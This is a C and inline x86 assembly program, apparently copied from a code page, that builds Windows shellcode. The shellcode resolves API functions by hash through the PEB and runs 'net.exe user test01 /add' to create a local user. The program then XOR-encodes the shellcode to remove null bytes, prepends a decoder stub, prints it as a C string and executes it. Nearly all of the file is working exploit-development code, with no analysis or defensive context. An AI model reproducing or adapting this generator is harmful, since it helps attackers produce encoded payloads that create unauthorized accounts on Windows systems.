1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362
| #include "stdio.h" #include "stdlib.h" #include "windows.h" #define MAX_OPCODE_LEN 0x2000
void doShellcode(char * code) { __asm { begin_proc: call vul_function; jmp code; jmp end_proc; vul_function: ret; end_proc:; } }
char decode1[] = "\xeb\x0e\x5b\x53\x4b\x33\xc9\xb1\xff" "\x80\x34\x0b\xee\xe2\xfa\xc3\xe8\xed\xff\xff\xff"; char decode2[] = "\xeb\x10\x5b\x53\x4b\x33\xc9\x66\xb9\xdd\xff" "\x80\x34\x0b\xee\xe2\xfa\xc3\xe8\xeb\xff\xff\xff";
#define EIGHT_NOPS __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90\ __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 #define PROC_BEGIN EIGHT_NOPS #define PROC_END EIGHT_NOPS
unsigned long doCommandLineAsm()
{ long lMyAddress; __asm { jmp near next_call; proc001: ret; next_call: call proc001; mov eax,[esp-4]; mov lMyAddress,eax; } return lMyAddress;
__asm{ PROC_BEGIN; push 00000000h ; push 6464612fh ; push 20313074h ; push 73657420h ; push 72657375h ; push 20657865h ; push 2e74656eh ; "net.exe user test01 /add" mov edi, esp ; edi="net.exe user test01 /add" push 0xff0d6657 ; push 0x4fd18963 ; push 0x6ba6bcc9 ;
pop edx; ; call findHashFuncAddrProc; mov esi,eax; ; pop edx; ; call findHashFuncAddrProc; mov ebx,eax; ; call doCommandProc;
jmp end_of_this_function; doCommandProc: push ecx; push edx; push esi; push edi; push ebp; mov ebp,esp;
mov edx,edi; sub esp, 54h; mov edi, esp; push 14h; pop ecx; xor eax,eax; stack_zero: mov [edi+ecx*4], eax; loop stack_zero; mov byte ptr [edi+10h], 44h; si.cb = sizeof(si)
lea eax, [edi+10h] push edi; push eax; push NULL; push NULL; push 0; push FALSE; push NULL; push NULL; push edx; push NULL; call esi; cmp eax,0; je donot_closehandle; push eax; call ebx; donot_closehandle: mov esp,ebp; pop ebp; pop edi; pop esi; pop edx; pop ecx; retn; findHashFuncAddrProc: push esi; push ebx; push ecx; push edx; call get_base_address; cmp eax,0 ; jle end_of_findHashFuncAddrProc; if ecx <=0 done. mov ebx,eax ; call get_function_addr; end_of_findHashFuncAddrProc: pop edx; pop ecx; pop ebx; pop esi; retn; get_base_address: mov eax, fs:30h ; PEB base mov eax, [eax+0ch] ; PEB_LER_DATA mov eax,[eax+1ch] ; The first element of InInitOrderModuleList mov eax,[eax] ; Next element mov eax,[eax+8] ; eax = Base address of the module retn; get_function_addr: mov eax,[ebx+3ch] ; e_lfanew mov eax,[eax+ebx+78h] ; DataDirectory[0] add eax,ebx ; RVA + base mov esi,eax ; Save first DataDirectory to esi mov ecx,[esi+18h] ; NumberOfNames compare_names_hash: mov eax, [esi+20h] ; AddressOfNames RVA add eax, ebx ; rva2va mov eax, [eax+ecx*4-4] ; NamesAddress RVA add eax, ebx ; rva2va, now eax store the address of the name
push edi ; save edi to stack mov edi,eax ; put the address of the string to edi call hash_proc; ; gethash pop edi ; restor edi from stack cmp eax,edx; ; compare to hash; je done_find_hash;
loop compare_names_hash; xor eax,eax; jmp done_get_function_addr; done_find_hash: mov eax, [esi+1ch] ; AddressOfFunctions RVA add eax, ebx ; rva2va mov eax, [eax+ecx*4-4] ; FunctionAddress RVA add eax, ebx ; rva2va, now eax store the address of the Function done_get_function_addr: retn; hash_proc: push ebx ; push ecx ; push edx ; push edi ; xor edx,edx ; edx = h hash_loop: ; movsx eax,byte ptr [edi] ; [eax]=*c ==> eax cmp eax,0 ; je exit_hash_proc ; mov ebx,edx ; h ==> ebx mov ecx,edx ; h ==> ecx shl ebx,19h ; h << 25 shr ecx,7 ; h >> 7 or ebx,ecx ; (h << 25) | (h >> 7) mov edx,ebx ; add edx,eax ; inc edi; ; jmp hash_loop ; exit_hash_proc: ; mov eax,edx ; save hash to eax pop edi ; pop edx ; pop ecx ; pop ebx ; retn ; end_of_this_function: PROC_END; }; return lMyAddress; }
void PrintStrCode(unsigned char *lpBuff, int buffsize) { int i,j; char *p; char msg[4]; printf("/* %d=0x%x bytes */\n",buffsize,buffsize); for(i=0;i<buffsize;i++) { if((i%16)==0) if(i!=0) printf("\"\n\""); else printf("\""); printf("\\x%.2x",lpBuff[i]&0xff); } printf("\";\n"); } int EncOpcode(unsigned char * Opcode_buff, int opcode_len, unsigned char xorByte)
{ int i; if(xorByte==0){ puts("The xorByte cannot be zero."); return 0; } for(i=0;i<opcode_len;i++){ Opcode_buff[i]=Opcode_buff[i]^xorByte; } Opcode_buff[opcode_len]=0; return opcode_len; } int GetProcOpcode(unsigned char * funPtr, unsigned char * Opcode_buff)
{ char *fnbgn_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90"; char *fnend_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90"; int i,sh_len; for (i=0;i<MAX_OPCODE_LEN;i++ ) { if(memcmp((unsigned char *)(funPtr+i),fnbgn_str, 8)==0) break; } funPtr+=(i+8); for (i=0;i<MAX_OPCODE_LEN;i++) { if(memcmp((unsigned char *)(funPtr+i),fnend_str, 8)==0) break; } sh_len=i; memcpy(Opcode_buff, (unsigned char *)funPtr, sh_len); return sh_len; }
unsigned char findXorByte(unsigned char Buff[], int buf_len) { unsigned char xorByte=0; int i,j,k; for(i=0xff; i>0; i--) { k=0; for(j=0;j<buf_len;j++) { if((Buff[j]^i)==0) { k++;break; } } if(k==0) { xorByte=i; break; } } return xorByte; }
long GetShellcode() { unsigned char opcode_Buff[MAX_OPCODE_LEN]; char shellcode[MAX_OPCODE_LEN]; int opcode_len=0,encode_len,i,decode_len; unsigned char Enc_key; unsigned long lPtr; lPtr = doCommandLineAsm() ; opcode_len=GetProcOpcode((unsigned char *)lPtr, opcode_Buff); PrintStrCode(opcode_Buff, opcode_len); Enc_key = findXorByte(opcode_Buff, opcode_len); printf("\tXorByte=0x%.2x\n", Enc_key); encode_len=EncOpcode(opcode_Buff, opcode_len, Enc_key); PrintStrCode(opcode_Buff, opcode_len); if(encode_len==strlen((char *)opcode_Buff)){ puts("\tSuccess: encode is OK\n"); }else{ puts("\tFail: encode is OK\n"); return 0;} if(encode_len<256){ decode_len = strlen(decode1);
for(i=0;i<decode_len;i++){ shellcode[i]=decode1[i]; } shellcode[8]=encode_len; shellcode[12]=Enc_key;
for(i=0;i<encode_len;i++){ shellcode[i+decode_len]=opcode_Buff[i]; } }else{ decode_len = strlen(decode2);
for(i=0;i<decode_len;i++){ shellcode[i]=decode2[i]; } shellcode[9] =encode_len % 0x100; shellcode[10]=encode_len/0x100; shellcode[14]=Enc_key;
for(i=0;i<encode_len;i++){ shellcode[i+decode_len]=opcode_Buff[i]; } }
printf("\n\nlength of shellcode = %d = 0x%x\n",strlen(shellcode),strlen(shellcode)); PrintStrCode((unsigned char*)shellcode, strlen(shellcode)); doShellcode(shellcode);
return lPtr; } void main(int argc, char * argv[]) { GetShellcode(); }
|